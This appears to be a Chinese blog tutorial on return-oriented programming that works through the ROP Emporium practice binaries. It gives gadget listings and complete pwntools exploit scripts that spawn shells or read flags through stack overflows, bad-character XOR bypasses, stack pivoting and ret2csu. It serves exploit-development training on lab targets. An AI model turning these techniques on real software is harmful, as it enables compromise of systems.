pwn入门之ROP

ret2win

ROP Emporium
image.png

放到IDA很容易就找到溢出点

1
2
3
char s; // [esp+0h] [ebp-28h] 
可以看出s距ebp的偏移量为0x28
所以我们写入0x28正好可以写到ebp之前,要覆盖ebp还需要再写入4个字节(32位)

有一点值得引起注意,我们回车换行符同样会输入进去,明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在之前我们还应该检查一下程序开户了哪些保护,这决定了我们该采取何种rop攻击方式

image.png

exp 如下 :

1
2
3
4
5
6
from pwn import *
sh = process('./ret2win32')
ret2win32 = 0x08048659
payload = 'A' * 0x28 + p32(0) + p32(ret2win32)
sh.sendline(payload)
sh.interactive()


64位的溢出点也一样
exp:

1
2
3
4
5
6
from pwn import *
sh = process('./ret2win')
ret2win = 0x400811
payload = "A" * 0x20 + p64(0) + p64(ret2win)
sh.sendline(payload)
sh.interactive()

split

溢出点还是一样,不过少了可直接利用的函数,但是程序中提供了system函数和字符串”/bin/cat flag.txt”,同样ret到system并且通过栈传入”/bin/cat flag.txt”即可
exp:

1
2
3
4
5
6
7
from pwn import *
sh = process('./split32')
system = 0x08048657
cat = 0x0804A030
pyaload = 'A' * 0x28 + p32(0) + p32(system) + p32(cat)
sh.sendline(pyaload)
sh.interactive()

因为64位rdi是存储函数的第一个参数,所以我们需要pop rdi ;ret
通过命令

1
ROPgadget --binary ./split --only "pop|ret"

找到gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
Gadgets information
============================================================
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

64位exp:

1
2
3
4
5
6
7
8
from pwn import *
sh = process('./split')
system = 0x4005E0
cat_flag = 0x601060
pop = 0x400883
payload = "A" * 0x20 + p64(0) + p64(pop) + p64(cat_flag) + p64(system)
sh.sendline(payload)
sh.interactive()

callme

溢出点还是一样,不过现在程序 没有system函数,flag也不是直接cat flag.txt得到,而是通过callme_one,callme_two,callme_three三个函数的调用计算得到,我们看一下.so文件
image.png

这里要求传入的三个参数为1,2,3,接下来写exp
这里需要注意,因为要连续调用3个函数,所以需要注意callme_one调用完了之后的返回地址不能再向前两道一样随便写p32(0)了,这里是为了保持栈的平衡,callme_one执行完之后 要把它的三个参数1,2,3弹出去,esp才能指向p32(callme_two)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('./callme32')
pop3_ret = 0x80488a9
callme_one = 0x080485C0
callme_two = 0x08048620
callme_three = 0x080485B0
payload = ""
payload += "a" * 0x28 + p32(0)
payload += p32(callme_one) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_two) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_three) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
sh.sendline(payload)
sh.interactive()

1
2
3
4
5
6
7
8
payload += p32(callme_one) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
其中的pop3_ret 是为了把 p32(1) + p32(2) + p32(3)弹出栈,最后一个ret指令相当于pop eip
也就是把栈顶的内容传给eip,从而改变执行流程,在执行完三次pop后,esp已经指向p32(callme_two),这样就可以接着去指向第二段rop从而顺利调用callme_two(1,2,3)
pop
pop
pop
ret
地址可以用objdump找到

image.png

如果对此不太好理解的话,可以进入gdb一步步跟着调试,可以看清楚具体的流程
image.png

image.png

只有将1,2,3pop出去esp才能指向callme_two。


64位程序 ,就不需要栈平衡了,在64位下,前6个参数通过rdi,rsi,rdx,rcx,r8,r9传递,所以需要找到pop rdi;pop rsi ;pop rdx ret 的gadget
可以用 objdump -d callme | grep -A 3 pop找到

image.png

也可以用ROPgadget –binary ./callme –only “pop|ret”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadgets information
============================================================
0x0000000000401b1c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b1e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b20 : pop r14 ; pop r15 ; ret
0x0000000000401b22 : pop r15 ; ret
0x0000000000401b1b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401b1f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401900 : pop rbp ; ret
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret
0x0000000000401ab2 : pop rdx ; ret
0x0000000000401b21 : pop rsi ; pop r15 ; ret
0x0000000000401ab1 : pop rsi ; pop rdx ; ret
0x0000000000401b1d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004017d9 : ret

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
sh = process('./callme')
callme_one = 0x401850
callme_two = 0x401870
callme_three = 0x401810
# pop_rdi = 0x401b23
# pop_rsi_rdx = 0x401ab1
pop_rdi_rsi_rdx_ret = 0x401ab0
payload = ""
payload += 'a' * 0x20 + p64(0)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_one)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_two)
# payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_three)
payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_one)
payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_two)
payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_three)
sh.sendline(payload)
sh.interactive()

write4

write432:

同样的溢出点,但是这次没有/bin/sh,需要我们自己写到data中或者bss 中,两种写法没什么不同,就改个地址而已,这里就只说写到data段中,“/bin/sh”在32位中需要分两次写到 data 中去,用ROPgadget 查找可用的gadget 先:
image.png

1
2
3
这里用到 
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret

exp :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./write432')
data_addr = 0x0804A028 #写入到 data 段
# bss_addr = 0x0804A040 #写入到 bss 段
system_ply = 0x08048430
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670
payload = ""
payload += 0x28 * "A" + p32(0)
payload += p32(pop_edi_ebp)
# payload += p32(bss_addr)
payload += p32(data_addr)
payload += "/bin"
payload += p32(mov_edi_ebp)
payload += p32(pop_edi_ebp)
# payload += p32(bss_addr + 4)
payload += p32(data_addr + 4)
payload += "/sh\x00"
payload += p32(mov_edi_ebp)
payload += p32(system_ply)
payload += p32(0)
# payload += p32(bss_addr)
payload += p32(data_addr)
sh.sendline(payload)
sh.interactive()

write4:
一样的思路,只不过在写入data的时候64位可以一次写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./write4')
# bss_addr = 0x0000000000601060 #写入到 bss 段
data_addr = 0x0000000000601050 #写入到 data 段
mov_r14_r15 = 0x0000000000400820
pop_r14_r15 = 0x0000000000400890
system_plt = 0x00000000004005E0
pop_rdi = 0x0000000000400893
payload = ""
payload += 0x20 * "A" + p64(0)
payload += p64(pop_r14_r15)
payload += p64(data_addr)
# payload += p64(bss_addr)
payload += "/bin/sh\x00"
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
# payload += p64(bss_addr)
payload += p64(data_addr)
payload += p64(system_plt)
sh.sendline(payload)
sh.interactive()

badchars

这次的程序对输入的字符进行了过滤,对于特定字符b,i,c/ <空格>,f,n.s,会被替换成-21,当然这会对我们成功写入”/bin/sh\x00”造成影响,所以我们要绕过这步替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  v3[0] = 'b';
v3[1] = 'i';
v3[2] = 'c';
v3[3] = '/';
v3[4] = ' ';
v3[5] = 'f';
v3[6] = 'n';
v3[7] = 's';
j = 0LL;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
for ( j = 0LL; j <= 7; ++j )
{
if ( *(a1 + i) == v3[j] )
{
*(a1 + i) = -21;
break;
}
}
}
return result;
}

可以用xor将 “/bin/sh\x00”先进行加密,成功写入后再解密进行传参,先来找一下可以异或的数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
# for i in badchar:
# print chr(i)
xornum = 1
while 1:
for x in binsh:
tem = ord(x) ^ xornum
if tem in badchar:
xornum += 1
break
if x == "\x00":
print xornum
xornum += 1
if xornum == 10:
break

找到2,3,5,9,接下来查找一下gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ROPgadget --binary ./badchars32 --only "mov|pop|ret|xor"
Gadgets information
============================================================
0x08048607 : mov al, byte ptr [0xc9010804] ; ret
0x08048893 : mov dword ptr [edi], esi ; ret
0x08048570 : mov ebx, dword ptr [esp] ; ret
0x080488fb : pop ebp ; ret
0x08048896 : pop ebx ; pop ecx ; ret
0x080488f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048461 : pop ebx ; ret
0x08048897 : pop ecx ; ret
0x080488fa : pop edi ; pop ebp ; ret
0x0804889a : pop edi ; ret
0x080488f9 : pop esi ; pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; ret
0x0804844a : ret
0x0804885e : ret 0xd75
0x080485be : ret 0xeac1
0x08048890 : xor byte ptr [ebx], cl ; ret

Unique gadgets found: 16

因为32位程序一次只能传4个字符,所以需要分两次传
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./badchars32')
sysetm_plt = 0x080484E0
binsh = "/bin/sh\x00"
xorbinsh = ""
#加密
for i in binsh:
xorbinsh += chr(ord(i) ^ 2)

mov_edi_esi = 0x08048893
pop_esi_edi = 0x08048899
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
bss_addr = 0x0804A044
payload = ""
payload += 0x28 * "A" + p32(0)
#分两次传
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss_addr)
payload += p32(mov_edi_esi)

payload += p32(pop_esi_edi)
payload += xorbinsh[4:8]
payload += p32(bss_addr + 4)
payload += p32(mov_edi_esi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss_addr + x) + p32(2)
payload += p32(xor_ebx_cl)
payload += p32(sysetm_plt) + p32(0) + p32(bss_addr)

sh.sendline(payload)
sh.interactive()

64位程序 :
一样的思路,先查一下gadget :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ ROPgadget --binary ./badchars --only "mov|pop|ret|xor"
Gadgets information
============================================================
0x0000000000400853 : mov byte ptr [rip + 0x20084e], 1 ; ret
0x0000000000400b35 : mov dword ptr [rbp], esp ; ret
0x00000000004008ee : mov eax, 0 ; pop rbp ; ret
0x0000000000400a3b : mov eax, dword ptr [rbp - 8] ; pop rbp ; ret
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
0x0000000000400a3a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
0x0000000000400bac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3b : pop r12 ; pop r13 ; ret
0x0000000000400bae : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3d : pop r13 ; ret
0x0000000000400b40 : pop r14 ; pop r15 ; ret
0x0000000000400b42 : pop r15 ; ret
0x0000000000400852 : pop rbp ; mov byte ptr [rip + 0x20084e], 1 ; ret
0x0000000000400bab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400baf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400b39 : pop rdi ; ret
0x0000000000400b41 : pop rsi ; pop r15 ; ret
0x0000000000400bad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400b3c : pop rsp ; pop r13 ; ret
0x00000000004006b1 : ret
0x0000000000400aad : ret 0x1075
0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
0x0000000000400b31 : xor byte ptr [rdi], dh ; ret

Unique gadgets found: 24

64位程序就可以一次传进去
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding:UTF-8 -*-
from pwn import *
sh = process('./badchars')
binsh = "/bin/sh\x00"
xorbinsh = ""
#加密
for i in binsh:
xorbinsh += chr(ord(i) ^ 2)

bss_addr = 0x0000000000601080
system_plt = 0x00000000004006F0
mov_r13_r12_ret = 0x0000000000400b34
pop_r12_r13_ret = 0x0000000000400b3b
xor_r15_r14_ret = 0x0000000000400b30
pop_r14_r15_ret = 0x0000000000400b40
pop_rdi_ret = 0x0000000000400b39
payload = ""
payload += 0x28 * "A"
#一次传入
payload += p64(pop_r12_r13_ret)
payload += xorbinsh
payload += p64(bss_addr)
payload += p64(mov_r13_r12_ret)
#解密
for i in range(0,len(xorbinsh)):
payload += p64(pop_r14_r15_ret)
payload += p64(2) + p64(bss_addr + i)
payload += p64(xor_r15_r14_ret)
payload += p64(pop_rdi_ret) + p64(bss_addr) + p64(system_plt)
sh.sendline(payload)
sh.interactive()

fluff

题目的设置跟前面的题还是一样没什么变化,查一波gadget,会发现在这次的写入没之前的那么顺利

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ROPgadget --binary ./fluff32 --only "mov|pop|ret|xor|xchg"
Gadgets information
============================================================
0x08048547 : mov al, byte ptr [0xc9010804] ; ret
0x08048709 : mov dword ptr [0x81fffffd], eax ; ret
0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
0x08048674 : mov ebp, 0xcafebabe ; ret
0x080484b0 : mov ebx, dword ptr [esp] ; ret
0x0804867e : mov edi, 0xdeadbabe ; ret
0x0804868c : mov edx, 0xdefaced0 ; ret
0x0804867d : pop ebp ; mov edi, 0xdeadbabe ; ret
0x0804868b : pop ebp ; mov edx, 0xdefaced0 ; ret
0x08048695 : pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
0x080486fb : pop ebp ; ret
0x080486f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483e1 : pop ebx ; ret
0x08048696 : pop ebx ; xor byte ptr [ecx], bl ; ret
0x08048692 : pop edi ; mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
0x080486fa : pop edi ; pop ebp ; ret
0x08048670 : pop edi ; xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
0x08048673 : pop esi ; mov ebp, 0xcafebabe ; ret
0x080486f9 : pop esi ; pop edi ; pop ebp ; ret
0x0804867a : pop esi ; xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
0x080483ca : ret
0x080484fe : ret 0xeac1
0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
0x08048697 : xor byte ptr [ecx], bl ; ret
0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret

Unique gadgets found: 26

因为没有mov可以直接写入,这里我们可以用xor进行写入操作,用一个xor操作清空寄存器A,再通过 xor A,B就可以将B寄存器的内容写入到寄存器A中去。这道题就是巧秒得利用了xor来进行写入。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding:UTF-8 -*-
from pwn import *
context.log_level = "debug"
sh = process('./fluff32')
binsh = "/bin/sh\x00"
system_plt = 0x08048430
data_addr = 0x0804A028

#mov_ecx_edx;pop_ebp;pop_ebx;xor_ecx_bl;ret
gadget1 = 0x08048693
#xor_edx_edx;pop_esi;mov_ebp_0xcafebabe;ret 亦或自身
gadget2 = 0x08048671
#xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
gadget3 = 0x0804867b
pop_ebx = 0x080483e1
#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
gadget4 = 0x08048689
junk = "A" * 4
payload = ""
payload += 0x28 * "A" + junk

payload += p32(gadget2) + p32(0) #xor_edx_edx (edx = 0)
payload += p32(pop_ebx) + p32(data_addr)
payload += p32(gadget3) + p32(0) #(edx = data_addr,pop_ebp,mov)
payload += p32(gadget4) + p32(0) #ecx = data_addr

payload += p32(pop_ebx)
payload += "/bin"
payload += p32(gadget2) + p32(0) #xor_edx_edx (edx = 0)
payload += p32(gadget3) + p32(0) #(edx = "/bin",pop_ebp,mov)
#"/bin"放到data中去
payload += p32(gadget1) + p32(0) + p32(0)

payload += p32(pop_ebx) + p32(data_addr + 4)
payload += p32(gadget2) + p32(0) #xor_edx_edx (edx = 0)
payload += p32(gadget3) + p32(0) #(edx = data_addr,pop_ebp,mov)
payload += p32(gadget4) + p32(0) #ecx = data_addr + 4

payload += p32(pop_ebx)
payload += "/sh\x00"
payload += p32(gadget2) + p32(0) #xor_edx_edx (edx = 0)
payload += p32(gadget3) + p32(0) #(edx = "/bin",pop_ebp,mov)
#"xsh\x00"放到data中去
payload += p32(gadget1) + p32(0) + p32(0)

payload += p32(system_plt) + p32(0) + p32(data_addr)

sh.sendline(payload)
sh.interactive()

64位程序 :
这里需要注意一下在查gadget的时候,可能会出现找不到想要的gadget,可以加上参数 –depth 20,(20是深度最深的情况了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$ ROPgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040084f : mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400835 : mov ebp, 0x604060 ; ret
0x0000000000400846 : mov ebx, 0x602050 ; ret
0x0000000000400827 : mov edi, 0x601050 ; ret
0x000000000040083b : mov edi, 0x601050 ; xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x000000000040084e : mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400845 : mov r11d, 0x602050 ; ret
0x0000000000400834 : mov r13d, 0x604060 ; ret
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
0x00000000004008bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400853 : pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400851 : pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004008be : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400825 : pop r14 ; mov edi, 0x601050 ; ret
0x00000000004008c0 : pop r14 ; pop r15 ; ret
0x000000000040082d : pop r14 ; xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400843 : pop r15 ; mov r11d, 0x602050 ; ret
0x00000000004008c2 : pop r15 ; ret
0x0000000000400820 : pop r15 ; xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400852 : pop rbp ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004008bf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x00000000004008ba : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400844 : pop rdi ; mov r11d, 0x602050 ; ret
0x00000000004008c3 : pop rdi ; ret
0x0000000000400821 : pop rdi ; xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400826 : pop rsi ; mov edi, 0x601050 ; ret
0x00000000004008c1 : pop rsi ; pop r15 ; ret
0x000000000040082e : pop rsi ; xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400833 : pop rsp ; mov r13d, 0x604060 ; ret
0x00000000004008bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400854 : pop rsp ; xor byte ptr [r10], r12b ; ret
0x00000000004005b9 : ret
0x0000000000400841 : xchg ebx, edx ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400855 : xor byte ptr [r10], r12b ; ret
0x0000000000400856 : xor byte ptr [rdx], ah ; ret
0x0000000000400823 : xor ebx, ebx ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400830 : xor ebx, esp ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret

Unique gadgets found: 47

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
sh = process('./fluff')

binsh = "/bin/sh\x00"
system_plt = 0x00000000004005E0
data_addr = 0x0000000000601050

pop_rdi = 0x00000000004008c3
#mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget1 = 0x000000000040084e
#pop r15 ; mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget2 = 0x000000000040084c
#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
gadget3 = 0x0000000000400822
#xor r11, r12 ; pop r12 ; mov r13, 0x604060 ; ret
gadget4 = 0x000000000040082f
#xchg r11, r10 ; pop r15 ; mov r11, 0x602050 ; ret
gadget5 = 0x0000000000400840
#pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
gadget6 = 0x00000000004008bc

payload = ""
payload += 0x20 * "A" + p64(0)
#将 data_addr 写入r10
payload += p64(gadget6) + p64(data_addr) +p64(3) + p64(4) + p64(5)
payload += p64(gadget3) + p64(4)
payload += p64(gadget4) + binsh
payload += p64(gadget5) + p64(5)
#将"/bin/sh\x00" 写入r11
payload += p64(gadget6) + binsh +p64(3) + p64(4) + p64(5)
payload += p64(gadget3) + p64(4)
payload += p64(gadget4) + binsh
#data_addr = "/bin/sh\x00"
payload += p64(gadget1) + p64(3) + p64(0)
payload += p64(pop_rdi) + p64(data_addr) + p64(system_plt)

sh.sendline(payload)
sh.interactive()

pivot

这道题有两次输入,第一次输入到堆中,第二次输入到栈中,而且很明显第二次的可溢出大小不够用来构造rop链,所以我们需要将rop链构造在堆中,然后利用栈迁移来执行rop链。题目中也将堆的地址打印了出来 ,降低了不少难度。
给出的.so文件有这个函数可以用:

1
2
3
4
5
void __noreturn ret2win()
{
system("/bin/cat flag.txt");
exit(0);
}

显然我们构造的rop链要能够控制程序跳转到这个函数去执行,这里需要用到计算偏移
elf函数中只有foothold_function在.so中也出现,而且也在got表中,所以ret2win的真实地址可以结合foothold_function算出来,这里需要注意的是,需要先将foothold_function函数调用一次,got表中才有foothold_function的真实地址。
这里说一下我踩过的坑,偏移有两种算法:
1、真实地址-libc地址
2、两个licb函数地址相减
一开始我用第一种方法算偏移,理论上来说两种方法都没错,但是因为函数需要调用一次后才能在got表中有真实地址,所以直接拿got表中的地址来当真实地址的错的,所以最好使用第二种方法算偏移,然后在构造rop的时候将其中的一个地址调用一次使得got表中有它的真实地址再拿去加偏移就能得到目标函数的真实地址。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
sh = process('./pivot32')
elf = ELF('./pivot32')
libc = ELF('./libpivot32.so')
foothold_plt = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
foothold_sym = libc.symbols['foothold_function']
ret2win = libc.symbols['ret2win']

# offset = int(foothold_got_plt - foothold_sym) 这里就是直接用got表的地址去算偏移,其实是错的,因为foothold_function函数没有调用过,got表中并不是真实地址
# offset = int(ret2win - foothold_sym)
offset = ret2win - foothold_sym
#offset = foothold_sym - ret2win 这里算偏移的时候要注意结果不能为负数

sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")

leakaddr = int(sh.recv(10),16) #接收题目打印出来的堆地址
print hex(leakaddr)
pause()

add_eax_ebx = 0x080488c7
mov_eax_eax = 0x080488c4
pop_eax = 0x080488c0
pop_ebx = 0x08048571
call_eax = 0x080486a3
leave_ret = 0x080486a8
payload_1 = ""
payload_1 += p32(foothold_plt) #将foothold_function函数调用一次
payload_1 += p32(pop_eax)
payload_1 += p32(foothold_got_plt) #上面调用了一次这里就是真实地址了
payload_1 += p32(mov_eax_eax)
payload_1 += p32(pop_ebx)
payload_1 += p32(offset)
payload_1 += p32(add_eax_ebx)
payload_1 += p32(call_eax)

sh.sendline(payload_1)

payload_2 = ""
payload_2 += 0x28 * "A"
payload_2 += p32(leakaddr-4) + p32(leave_ret)

sh.sendline(payload_2)
sh.interactive()

64位exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
sh = process('./pivot')
elf = ELF('./pivot')
so = ELF('./libpivot.so')
foothold_plt = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
footold_sym = so.symbols['foothold_function']
ret2win_sym = so.symbols['ret2win']
offset = ret2win_sym - footold_sym
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
addr = int(sh.recv(14),16)
print hex(addr)
pause()
mov_rax_rax = 0x0000000000400b05
add_rax_rbp = 0x0000000000400b09
pop_rax = 0x0000000000400b00
pop_rbp = 0x0000000000400900
pop_rdi = 0x0000000000400b73
call_rax = 0x000000000040098e
# pop_rsp_r13_r14_r15_ret = 0x0000000000400b6d
xchg_rax_rsp = 0x0000000000400b02
sh.recvuntil("> ")
payload_1 = ""
payload_1 += p64(foothold_plt)
payload_1 += p64(pop_rax) + p64(foothold_got_plt)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp) + p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
sh.sendline(payload_1)
sh.recvuntil("> ")
payload_2 = ""
payload_2 += 0x28*"A"
payload_2 += p64(pop_rax) + p64(addr) + p64(xchg_rax_rsp)
# payload_2 += p64(pop_rsp_r13_r14_r15_ret) + p64(addr) + p64(3) + p64(4) + p64(5)
sh.sendline(payload_2)

sh.interactive()

ret2csu

先checksec一波,no canry ,no pie

image.png

从IDA可以看到程序存在栈溢出漏洞和一个后门函数

漏洞函数

后门函数

但是这个后门函数需要三个参数,a1,a2随意,a3需要为0xdeadcafebabebeef,找一下gadget

image.png

并没有如pop rdx , mov rdx的gadget,这个时候,我们可以利用__libc_csu_init中的gadget

__libc_csu_init

可以控制 r15,r14,r13的值 来达到控制 rdx,rsi,rdi的目的,这里因为有一个坑,setvbuf函数在调用的时候会将rdx赋值为0xffffffff,这样的话就不能成功调用ret2win了,所以找一个初始化函数调用一下
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#-*-coding:utf-8-*-
from pwn import *
p = process('./ret2csu')
context.log_level = 'debug'
init = 0x600E10 #初始化函数地址
rop_1 = 0x400880
rop_2 = 0x40089a
ret2win = 0x4007B1
payload = 0x20*'a'
payload += p64(0) #rbp
payload += p64(rop_2)
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(rop_1)
payload += p64(0) #add rsp,8可以理解为pop操作,但是没有pop到寄存器,而有丢弃掉
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(ret2win)
p.sendline(payload)
p.interactive()
0%